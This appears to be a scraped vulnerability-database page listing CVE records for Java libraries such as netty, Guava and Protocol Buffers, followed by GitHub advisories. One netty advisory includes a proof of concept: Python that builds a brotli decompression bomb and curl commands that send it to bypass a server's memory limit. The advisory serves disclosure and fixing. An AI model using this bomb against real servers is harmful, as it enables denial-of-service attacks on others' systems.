| Apache Software Foundation | Apache MINA |
Affected:
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Affected: 2.1.0 , ≤ 2.1.10 (semver) Affected: 2.0.0 , ≤ 2.0.27 (semver) |
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CVE-2025-48924 (GCVE-0-2025-48924)
Vulnerability from cvelistv5 – Published: 2025-07-11 14:56 – Updated: 2025-11-04 22:06- CWE-674 - Uncontrolled Recursion
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
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| Apache Software Foundation | Apache Commons Lang |
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CVE-2026-42584 (GCVE-0-2026-42584)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:10 – Updated: 2026-07-01 12:05- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| netty | netty |
Affected:
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CVE-2024-29025 (GCVE-0-2024-29025)
Vulnerability from cvelistv5 – Published: 2024-03-25 20:09 – Updated: 2025-02-13 17:47- CWE-770 - Allocation of Resources Without Limits or Throttling
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CVE-2022-41881 (GCVE-0-2022-41881)
Vulnerability from cvelistv5 – Published: 2022-12-12 00:00 – Updated: 2025-04-22 15:57- CWE-674 - Uncontrolled Recursion
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CVE-2025-53864 (GCVE-0-2025-53864)
Vulnerability from cvelistv5 – Published: 2025-07-11 00:00 – Updated: 2025-09-23 18:38- CWE-674 - Uncontrolled Recursion
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Connect2id | Nimbus JOSE+JWT |
Affected:
0 , < 10.0.2
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CVE-2022-1471 (GCVE-0-2022-1471)
Vulnerability from cvelistv5 – Published: 2022-12-01 10:47 – Updated: 2025-06-18 08:32- CWE-20 - Improper Input Validation
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CVE-2025-55163 (GCVE-0-2025-55163)
Vulnerability from cvelistv5 – Published: 2025-08-13 14:17 – Updated: 2025-11-04 21:13- CWE-770 - Allocation of Resources Without Limits or Throttling
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CVE-2025-58057 (GCVE-0-2025-58057)
Vulnerability from cvelistv5 – Published: 2025-09-03 21:46 – Updated: 2025-09-04 19:59- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
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CVE-2025-67735 (GCVE-0-2025-67735)
Vulnerability from cvelistv5 – Published: 2025-12-16 00:19 – Updated: 2025-12-16 14:26- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
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CVE-2026-42580 (GCVE-0-2026-42580)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:04 – Updated: 2026-05-14 18:21| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
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CVE-2018-20200 (GCVE-0-2018-20200)
Vulnerability from cvelistv5 – Published: 2019-04-18 18:31 – Updated: 2024-08-05 11:58 Disputed- n/a
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CVE-2025-25193 (GCVE-0-2025-25193)
Vulnerability from cvelistv5 – Published: 2025-02-10 22:02 – Updated: 2025-02-21 18:03- CWE-400 - Uncontrolled Resource Consumption
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CVE-2024-40094 (GCVE-0-2024-40094)
Vulnerability from cvelistv5 – Published: 2024-07-30 00:00 – Updated: 2024-11-20 20:13- n/a
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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2015-3254 (GCVE-0-2015-3254)
Vulnerability from cvelistv5 – Published: 2017-06-16 22:00 – Updated: 2024-08-06 05:39- n/a
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CVE-2022-3171 (GCVE-0-2022-3171)
Vulnerability from cvelistv5 – Published: 2022-10-12 00:00 – Updated: 2025-04-21 13:47- CWE-20 - Improper Input Validation
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Google LLC | Protocolbuffers |
Affected:
3.21.7 , < 3.21.7
(custom)
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CVE-2026-42586 (GCVE-0-2026-42586)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:20 – Updated: 2026-05-14 18:17- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| netty | netty |
Affected:
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|||||||
|
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CVE-2024-6763 (GCVE-0-2024-6763)
Vulnerability from cvelistv5 – Published: 2024-10-14 15:06 – Updated: 2025-03-07 00:10| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Foundation | Jetty |
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CVE-2024-47535 (GCVE-0-2024-47535)
Vulnerability from cvelistv5 – Published: 2024-11-12 15:50 – Updated: 2024-11-13 20:44- CWE-400 - Uncontrolled Resource Consumption
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CVE-2022-3509 (GCVE-0-2022-3509)
Vulnerability from cvelistv5 – Published: 2022-11-01 18:09 – Updated: 2025-04-22 15:10- n/a
| Vendor | Product | Version | ||
|---|---|---|---|---|
| ProtocolBuffers |
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(semver)
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"dateReserved": "2022-10-14T13:51:45.771Z",
"dateUpdated": "2025-04-22T15:10:13.149Z",
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CVE-2020-8908 (GCVE-0-2020-8908)
Vulnerability from cvelistv5 – Published: 2020-12-10 22:10 – Updated: 2024-08-04 10:12- CWE-378 - Creation of Temporary File With Insecure Permissions
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| Vendor | Product | Version | ||
|---|---|---|---|---|
| Google LLC | Guava |
Affected:
1.0 , < 32.0
(custom)
|
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"name": "[drill-dev] 20210618 [GitHub] [drill] ssainz edited a comment on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
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"name": "[drill-dev] 20210618 [GitHub] [drill] ssainz commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
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"name": "[db-torque-dev] 20210127 Re: Items for our (delayed) quarterly report to the board?",
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"url": "https://lists.apache.org/thread.html/rc2dbc4633a6eea1fcbce6831876cfa17b73759a98c65326d1896cb1a@%3Ctorque-dev.db.apache.org%3E"
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"name": "[drill-dev] 20210618 [GitHub] [drill] ssainz commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14@%3Cdev.drill.apache.org%3E"
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"name": "[drill-dev] 20210618 [GitHub] [drill] cgivre commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r6874dfe26eefc41b7c9a5e4a0487846fc4accf8c78ff948b24a1104a@%3Cdev.drill.apache.org%3E"
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"name": "[drill-dev] 20210619 [GitHub] [drill] luocooong commented on issue #2260: CVE-2020-8908 in Guava v.28.2-jre, should upgrade to v.30.1.1",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r161b87f8037bbaff400194a63cd2016c9a69f5949f06dcc79beeab54@%3Cdev.drill.apache.org%3E"
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CVE-2026-32588 (GCVE-0-2026-32588)
Vulnerability from cvelistv5 – Published: 2026-04-07 16:42 – Updated: 2026-04-09 14:43- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache Cassandra |
Affected:
4.0 , ≤ 4.0.19
(semver)
Affected: 4.1 , ≤ 4.1.10 (semver) Affected: 5.0 , ≤ 5.0.6 (semver) |
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CVE-2026-42581 (GCVE-0-2026-42581)
Vulnerability from cvelistv5 – Published: 2026-05-13 17:54 – Updated: 2026-06-30 12:08- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
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CVE-2025-46392 (GCVE-0-2025-46392)
Vulnerability from cvelistv5 – Published: 2025-05-09 09:34 – Updated: 2025-05-13 19:15- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |
|---|---|---|
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| Apache Software Foundation | Apache Commons Configuration |
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CVE-2021-41973 (GCVE-0-2021-41973)
Vulnerability from cvelistv5 – Published: 2021-11-01 08:35 – Updated: 2024-08-04 03:22- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
| Vendor | Product | Version | ||
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CVE-2025-58056 (GCVE-0-2025-58056)
Vulnerability from cvelistv5 – Published: 2025-09-03 20:56 – Updated: 2025-09-05 18:41- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
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CVE-2026-42579 (GCVE-0-2026-42579)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:01 – Updated: 2026-06-30 03:15| URL | Tags | ||||
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CVE-2018-11798 (GCVE-0-2018-11798)
Vulnerability from cvelistv5 – Published: 2019-01-07 18:00 – Updated: 2024-08-05 08:17- Improper Access Control
| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache Thrift |
Affected:
Apache Thrift 0.9.2 to 0.11.0
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CVE-2021-0341 (GCVE-0-2021-0341)
Vulnerability from cvelistv5 – Published: 2021-02-10 16:50 – Updated: 2024-08-03 15:40- Information disclosure
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CVE-2024-7254 (GCVE-0-2024-7254)
Vulnerability from cvelistv5 – Published: 2024-09-19 00:18 – Updated: 2025-09-08 09:37| Vendor | Product | Version | |||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Protocol Buffers |
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|
||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||
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CVE-2023-46120 (GCVE-0-2023-46120)
Vulnerability from cvelistv5 – Published: 2023-10-24 23:05 – Updated: 2024-09-11 13:20- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| rabbitmq | rabbitmq-java-client |
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< 5.18.0
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CVE-2022-3510 (GCVE-0-2022-3510)
Vulnerability from cvelistv5 – Published: 2022-11-11 16:35 – Updated: 2025-04-22 15:09- n/a
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|---|---|---|---|---|
| ProtocolBuffers |
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CVE-2026-42578 (GCVE-0-2026-42578)
Vulnerability from cvelistv5 – Published: 2026-05-13 17:57 – Updated: 2026-06-30 12:08- CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
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CVE-2025-48734 (GCVE-0-2025-48734)
Vulnerability from cvelistv5 – Published: 2025-05-28 13:32 – Updated: 2026-04-29 03:55- CWE-284 - Improper Access Control
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| Apache Software Foundation | Apache Commons BeanUtils 1.x |
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CVE-2026-21452 (GCVE-0-2026-21452)
Vulnerability from cvelistv5 – Published: 2026-01-02 20:47 – Updated: 2026-01-02 21:22| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
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| msgpack | msgpack-java |
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CVE-2026-42587 (GCVE-0-2026-42587)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:22 – Updated: 2026-07-03 12:04- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | ||||
|---|---|---|---|---|---|
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| Vendor | Product | Version | ||||||||||||
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| netty | netty |
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CVE-2018-10237 (GCVE-0-2018-10237)
Vulnerability from cvelistv5 – Published: 2018-04-26 21:00 – Updated: 2024-08-05 07:32- n/a
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|
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"name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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"name": "[activemq-issues] 20190820 [jira] [Created] (AMQ-7279) Security Vulnerabilities in Libraries - jackson-databind-2.9.8.jar, tomcat-servlet-api-8.0.53.jar, tomcat-websocket-api-8.0.53.jar, zookeeper-3.4.6.jar, guava-18.0.jar, jetty-all-9.2.26.v20180806.jar, scala-library-2.11.0.jar",
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"name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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"name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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"name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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"name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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"name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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"name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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"name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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"name": "[hadoop-common-dev] 20200623 Update guava to 27.0-jre in hadoop branch-2.10",
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"url": "https://lists.apache.org/thread.html/rc8467f357b943ceaa86f289f8bc1a5d1c7955b75d3bac1426f2d4ac1@%3Ccommon-dev.hadoop.apache.org%3E"
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{
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"refsource": "MISC",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"name": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion",
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"url": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion"
},
{
"name": "[flink-dev] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
},
{
"name": "[flink-user] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cuser.flink.apache.org%3E"
},
{
"name": "[flink-dev] 20200806 [jira] [Created] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r50fc0bcc734dd82e691d36d209258683141bfc0083739a77e56ad92d@%3Cdev.flink.apache.org%3E"
},
{
"name": "[flink-issues] 20200806 [jira] [Created] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/rdc56c15693c236e31e1e95f847b8e5e74fc0a05741d47488e7fc8c45@%3Cissues.flink.apache.org%3E"
},
{
"name": "[flink-issues] 20200814 [jira] [Commented] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/ra8906723927aef2a599398c238eacfc845b74d812e0093ec2fc70a7d@%3Cissues.flink.apache.org%3E"
},
{
"name": "[lucene-issues] 20201022 [jira] [Created] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/ra4f44016926dcb034b3b230280a18102062f94ae55b8a31bb92fed84@%3Cissues.lucene.apache.org%3E"
},
{
"name": "[lucene-issues] 20201022 [jira] [Updated] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/rb3da574c34bc6bd37972d2266af3093b90d7e437460423c24f477919@%3Cissues.lucene.apache.org%3E"
},
{
"name": "[lucene-issues] 20201022 [jira] [Resolved] (SOLR-14960) Solr-clustering is bringing in CVE-2018-10237 vulnerable guava",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r223bc776a077d0795786c38cbc6e7dd808fce1a9161b00ba9c0a5d55@%3Cissues.lucene.apache.org%3E"
},
{
"name": "https://www.oracle.com/security-alerts/cpujan2021.html",
"refsource": "MISC",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
},
{
"name": "[flink-issues] 20210212 [jira] [Closed] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r22c8173b804cd4a420c43064ba4e363d0022aa421008b1989f7354d4@%3Cissues.flink.apache.org%3E"
},
{
"name": "[samza-commits] 20210310 [GitHub] [samza] Telesia opened a new pull request #1471: SAMZA-2630: Upgrade dependencies for security fixes",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r352e40ca9874d1beb4ad95403792adca7eb295e6bc3bd7b65fabcc21@%3Ccommits.samza.apache.org%3E"
},
{
"name": "[storm-issues] 20210315 [jira] [Created] (STORM-3754) Upgrade Guava version because of security vulnerability",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r30e7d7b6bfa630dacc41649a0e96dad75165d50474c1241068aa0f94@%3Cissues.storm.apache.org%3E"
},
{
"name": "[pulsar-commits] 20210406 [GitHub] [pulsar] lhotari opened a new pull request #10149: Upgrade jclouds to 2.3.0 to fix security vulnerabilities",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
},
{
"name": "[arrow-github] 20210610 [GitHub] [arrow] projjal opened a new pull request #10501: ARROW-13032: Update guava version",
"refsource": "MLIST",
"url": "https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95@%3Cgithub.arrow.apache.org%3E"
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{
"name": "https://www.oracle.com/security-alerts/cpuoct2021.html",
"refsource": "MISC",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"name": "https://security.netapp.com/advisory/ntap-20220629-0008/",
"refsource": "CONFIRM",
"url": "https://security.netapp.com/advisory/ntap-20220629-0008/"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-10237",
"datePublished": "2018-04-26T21:00:00.000Z",
"dateReserved": "2018-04-20T00:00:00.000Z",
"dateUpdated": "2024-08-05T07:32:01.750Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-XWMG-2G98-W7V9
Vulnerability from github – Published: 2025-07-11 03:30 – Updated: 2025-09-19 21:31Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.nimbusds:nimbus-jose-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "9.38-rc1"
},
{
"fixed": "10.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.nimbusds:nimbus-jose-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.37.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53864"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-11T16:43:40Z",
"nvd_published_at": "2025-07-11T03:16:03Z",
"severity": "MODERATE"
},
"details": "Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.",
"id": "GHSA-xwmg-2g98-w7v9",
"modified": "2025-09-19T21:31:45Z",
"published": "2025-07-11T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/commit/1039427ff0100293dd3cf967a53a55282c0fef6b"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/commits/f7fb882cc08f027c9ceb874acec3b51c6222861c"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/583/stackoverflowerror-due-to-deeply-nested"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/593/back-port-cve-2025-53864-fix-to-9x-branch"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/compare/gson-parent-2.11.0...gson-parent-2.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON"
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for 